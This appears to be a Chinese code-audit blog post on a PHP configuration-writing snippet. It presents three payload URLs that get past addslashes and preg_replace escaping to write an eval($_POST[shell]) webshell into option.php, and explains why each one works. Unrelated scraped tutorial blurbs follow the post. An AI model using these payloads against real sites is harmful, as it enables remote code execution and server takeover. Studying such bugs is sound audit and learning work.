小密圈知识

p师傅的经典漏洞(小密圈的那些姿势)

2017年2月27日

p师傅在小密圈po的一个问题


<?php

$str = addslashes($_GET[‘option‘]);

$file = file_get_contents(‘xxxxx/option.php‘);

$file = preg_replace(‘|\$option=\‘.*\‘;|‘, "\$option=‘$str‘;", $file);

file_put_contents(‘xxxxx/option.php‘, $file);

做代码审计较少,但试了一下,绕过还是很容易的。但是只想到一种姿势(第一种),下面把各位师傅的几种姿势全都贴出来记录一下: )

姿势一

payload:


http://localhost/11.php?option=1‘;%0aeval($_POST[shell]);//

http://localhost/11.php?option=1

其实是利用addslashes()来对单引号处理成为\‘,最后经过正则替换就成了


$option=‘1\‘;

eval($_POST[shell]);//‘;

当然还需要再访问一次


http://localhost/11.php?option=1

\替换掉,最终写入文件的为


$option=‘1‘;

eval($_POST[shell]);//‘;

姿势二

payload:


http://localhost/11.php?option=1\‘;%0aeval($_POST[shell]);//

传入payload后,分别输出$str和经过preg_replace()替换后的$file

可以看到经过addslashes()处理后的1\\\‘三个\变成了两个\,猜测应该是preg_replace()做了转义的处理,导致这个变化,所以最后写入文件的也就是


$option=‘1\\‘;

eval($_POST[shell]);//‘;

姿势三

payload:


http://localhost/11.php?option=;eval($_POST[shell]);//

http://localhost/11.php?option=%00(或者$0)

传一个参数后$option=‘;eval($_POST[shell]);//‘;,但传入%00$0时,这里看一下关于preg_replace()的文档

preg_replace()第二个参数为$0\0时都是完全匹配模式,所以最后写入的内容为$option=‘$option=‘;eval($_POST[shell]);//‘;‘;

 

时间: 2024-10-14 12:13:15

小密圈知识的相关文章

零基础小白入门Java免费视频教程推荐—小猿圈

Java语言作为世界上使用最多的开发语言,企业庞大的需求量让每年进入Java开发领域的人不减反增.对于零基础小白来讲如何学习Java开发语言是入门的第一个难题.本文小猿圈主要给零基础小白入门Java开发技术推荐一个靠谱的Java免费视频教程. 零基础小白入门Java免费视频教程推荐-小猿圈 关于Java基础入门视频教程的选择,网上有各种各样的解说,也有各式各样的视频教程,那么我们究竟应该如何选择Java免费视频教程呢?如何才能挑选到合适自己的Java基础入门视频教程呢? 许多想通过观看Java视

小猿圈python视频教程讲师:python开发语言的就业薪资有多高

2019年IT最受欢迎语言榜java第一次滑落了王座,python开发语言摘顶王冠.自从人工智能开始进入大众视野,python成为了高薪就业的标签.越来越多的年轻人通过python开发技术实现了自己的财务自由.那么掌握python开发语言的就业薪资有多高呢?本文小猿圈python视频教程讲师为同学们具体介绍一下? 小猿圈python视频教程讲师:python开发语言的就业薪资有多高? 我们来看看统计数据吧,有图有真相:[ 对于Python的受欢迎程度,国外知名IT技术媒体JAXenter发布了一

小猿圈python入门之文件操作

学习知识要善于思考,思考,再思(考).我就是靠这个方法成为科学家的.——爱因斯坦 open() 方法 Python open() 方法用于打开一个文件,并返回文件对象,在对文件进行处理过程都需要使用到这个函数,如果该文件无法被打开,会抛出 OSError. 注意:使用 open() 方法一定要保证关闭文件对象,即调用 close() 方法. open() 函数常用形式是接收两个参数:文件名(file)和模式(mode). 一般用法:open(file,mode="r") 完整的语法格式

小猿圈前端之jQuery语法

现在为什么越来越多的人使用jQuery框架?原因是JQuery很容易上手.可以利用很少的代码实现很强大的功能,代码精简而高效:可以解决浏览器的兼容问题,还有和ajax的完美结合,导致了更多人使用jQuery框架,下面小猿圈加加说一下JQuery语法. jquery语法实例: $(this).hide() 演示 jQuery hide() 函数,隐藏当前的 HTML 元素. $("#test").hide() 演示 jQuery hide() 函数,隐藏 id="test&qu

小猿圈之Linux常见的发行版本

初学linux的朋友们,如果别人问你linux主流的发行版本有哪些,这时候你千万不要蒙,因为这是linux入门必备的门槛,必须了解的知识,如果你还不了解,那你一定要看看这篇文章,小猿圈加加下面就给你详细讲解一下Linux 10个主流发行版本. 1.红帽企业系统(RedHat Enterprise Linux, RHEL) 全球最大的开源技术厂商,全世界内使用最广泛的Linux发布套件, 提供性能与稳定性极强的Linux套件系统并拥有完善的全球技术支持. 官网:http://www.redhat.

小猿圈之学习java web需要有什么基础?

有很多人想学java,因为java虽然已经火了多年,但是其发展前景还是很不错的,有很大一部分人选择走java web方向,那么java web应该提前掌握哪些知识呢?小猿圈加加下面说一下. 首先找准自己发展的方向.是pc还是移动应用.学基础的时候一定要认真,虽然看起来很简单但一定要动手去做.推荐你一本专业的java书<java核心技术>仔细看,里面都会讲到各种类,数组,链表,封装.重载等基础知识,然后再结合上面提到的东西进行简单程序的编写,主要还是多练,平时写程序多用java ,不要怕出错,e

小猿圈之Linux使用grep筛选多个条件及grep常用过滤命令

linux最常用的就是命令,了解linux的朋友都知道:今天小猿圈linux老师说一下grep命令的使用,希望大家看后能掌握grep命令,接下来看一下grep命令的使用方法. cat log.txt | grep 条件; cat log.txt | grep 条件一 | grep 条件二; cat log.txt | grep 条件一 | grep 条件二 | grep 条件三; grep 条件一 log.txt | grep 条件二 | grep 条件三; 不说废话,例如需要排除abc.txt

小猿圈之Python 类的属性再解

python中万物皆对象,可见面向对象在python开发过程中是重中之重,小猿圈老师从基础详解面向对象,今天一起看一下python类的属性. 首先要知道python类的属性分为数据属性和实例属性,下面以具体实例来学习类的属性. #类的属性 class A(): #定义一个类的属性(数据属性),类似于c++中的静态变量 num=0 def __init__(self): #实例对象属性定义赋值 self.name = "hha" def add(self): #类属性的调用 A.num

小猿圈-IT自学人的小圈子

小猿圈是国内免费学习IT视频教程在线教育平台,站内包含Python视频教程,Linux视频教程,Java视频教程,web全栈视频教程.是目前唯一一家从零开始到项目实战完全免费的IT学习平台,下面给大家详细介绍一下小猿圈这个新兴在线学习平台的教程内容. 小猿圈-IT自学人的小圈子 一.python视频教程 python视频教程总计分为5大阶段,包含python开发入门.面向对象&网络编程.Mysql数据库.web开发方向.爬虫方向.主讲师是路飞学院创始人Alex大神,10年+IT行业技术经验, 8